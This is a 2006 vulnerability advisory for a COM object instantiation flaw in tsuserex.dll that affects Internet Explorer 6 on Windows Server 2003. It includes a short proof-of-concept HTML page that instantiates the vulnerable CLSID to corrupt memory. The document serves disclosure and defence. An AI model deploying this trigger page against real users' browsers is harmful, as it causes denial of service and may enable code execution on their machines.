[XSec-06-06]: Windows 2003 (tsuserex.dll) COM Object Instantiation Vulnerability



Advisory ID:
XSec-06-06

Advisory Name:
Windows 2003 (tsuserex.dll) COM Object Instantiation Vulnerability

Release Date:
08/18/2006

Tested on:
Internet Explorer 6.0 SP1 on Microsoft Windows 2003 EE SP1 CN

Affected version:
Windows Server 2003 + Internet Explorer 6.0

Author:
nop <nop#xsec.org>
http://www.xsec.org

Overview:
A vulnerability has been found in Internet Explorer 6.0 on \
Microsoft Windows 2003. When Internet Explorer tries to \
instantiate the tsuserex.dll (Terminal Services) COM object \
as an ActiveX control, it may corrupt system memory in such \
a way that an attacker may DoS and possibly could execute \
arbitrary code.

Exploit:
=============== tsuserex.dll.htm start ================

<!--
// Microsoft Windows 2003 (tsuserex.dll) COM Object Instantiation
Vulnerability
// tested on Windows 2003 EE SP1 CN

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {E2E9CAE6-1E7B-4B8E-BABD-E9BF6292AC29}
// Info: ADsTSUserEx Class
// ProgID: tsuserex.ADsTSUserEx.1
// InprocServer32: C:\WINDOWS\system32\tsuserex.dll

--!>

<html><body>
<object classid="CLSID:{E2E9CAE6-1E7B-4B8E-BABD-E9BF6292AC29}"> </object>
</body>
</html>

=============== tsuserex.dll.htm end ==================

Link:
http://www.xsec.org/index.php?module=Releases&act=view&type=1&id=14

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